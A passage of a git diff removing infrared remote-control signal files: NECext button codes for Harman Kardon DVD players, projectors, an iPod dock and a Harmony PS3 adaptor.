-command: 39 00 00 00 -# -name: SlowBack -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3A 00 00 00 -# -name: SlowForward -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3B 00 00 00 -# -name: StepBack -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3C 00 00 00 -# -name: StepForward -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 60 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 61 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 62 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 63 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 64 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 65 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 66 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 67 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 68 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 69 00 00 00 -# -name: Prog. -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6A 00 00 00 -# -name: Check -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6B 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6C 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir deleted file mode 100644 index c934edd98..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: fast_backward -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 00 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 03 00 00 00 -# -name: skip_backward -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 04 00 00 00 -# -name: skip_forward -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 07 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0A 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0B 00 00 00 -# -name: repeat_1/all -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0C 00 00 00 -# -name: repeat_a/b -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0D 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0E 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0F 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 10 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 11 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 12 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 15 00 00 00 -# -name: prog/rev -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 16 00 00 00 -# -name: tape_size -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 17 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 18 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 19 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1B 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1D 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1E 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir deleted file mode 100644 index 793a5b710..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 20 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: Off -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 23 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 24 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 26 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 27 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 28 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 29 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2D 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: FF/Search/Slow -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: Previous/Step -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 33 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 35 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 36 00 00 00 -# -name: Status -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 39 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3E 00 00 00 -# -name: Disc/Menu -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4D 00 00 00 -# -name: V.Off -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 60 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 61 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 62 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 63 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 64 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 65 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 66 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 67 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 68 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 69 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6C 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6D 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6F 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B0 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B3 00 00 00 -# -name: Pic+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B4 00 00 00 -# -name: Pic- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir deleted file mode 100644 index cbb73a394..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: skipnext -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: skipprev -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: searchnext -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: searchprev -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0A 00 00 00 -# -name: ab -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0B 00 00 00 -# -name: intro -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0E 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 19 00 00 00 -# -name: check -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1B 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1C 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 40 00 00 00 -# -name: KEY_EDIT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 4C 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 4D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 56 00 00 00 -# -name: off -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 57 00 00 00 -# -name: tapesize -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir deleted file mode 100644 index fa0ed07d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: PRESET -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: HY-SON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: VIDEO_A -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: VIDEO_B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: ENHANCE_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: ENHANCE_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: TINT_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 28 00 00 00 -# -name: TINT_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2F 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 31 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir deleted file mode 100644 index eca5b25c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: OFF.ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: SELECT_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: SELECT_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: ADJ_> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: ADJ_< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir deleted file mode 100644 index efb8332e9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 06 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 09 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 25 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 28 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 29 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 2F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 30 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 31 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir deleted file mode 100644 index 54b10a2d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: QUIT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir deleted file mode 100644 index cc14f26a6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F0 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F1 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F2 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F3 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F4 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F5 00 00 00 -# -name: SCROLL_FOWARD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F6 00 00 00 -# -name: SCROLL_BACK -type: parsed -protocol: NECext -address: 82 72 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir deleted file mode 100644 index eca5b25c2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: OFF.ON -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: SELECT_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: SELECT_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: ADJ_> -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: ADJ_< -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir deleted file mode 100644 index 54b10a2d5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: QUIT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir deleted file mode 100644 index 0ddf0709b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir +++ /dev/null @@ -1,308 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 4 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 02 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 12 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 14 00 00 00 -# -name: RED -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 17 00 00 00 -# -name: L1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 18 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1A 00 00 00 -# -name: YELLOW -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1B 00 00 00 -# -name: TRIANGLE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 1C 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 34 00 00 00 -# -name: R2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 38 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 3A 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 52 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 53 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 54 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 57 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5A 00 00 00 -# -name: GREEN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5B 00 00 00 -# -name: R1 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 5C 00 00 00 -# -name: CIRCLE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 6C 00 00 00 -# -name: R3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 71 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 72 00 00 00 -# -name: POP_UP_MENU -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 73 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 74 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 75 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 76 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 77 00 00 00 -# -name: L2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 78 00 00 00 -# -name: L3 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 79 00 00 00 -# -name: SLOW_+ -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7A 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7C 00 00 00 -# -name: PS -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7D 00 00 00 -# -name: START -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7E 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 7F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 94 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 9A 00 00 00 -# -name: SQUARE -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: AB 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: B2 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: 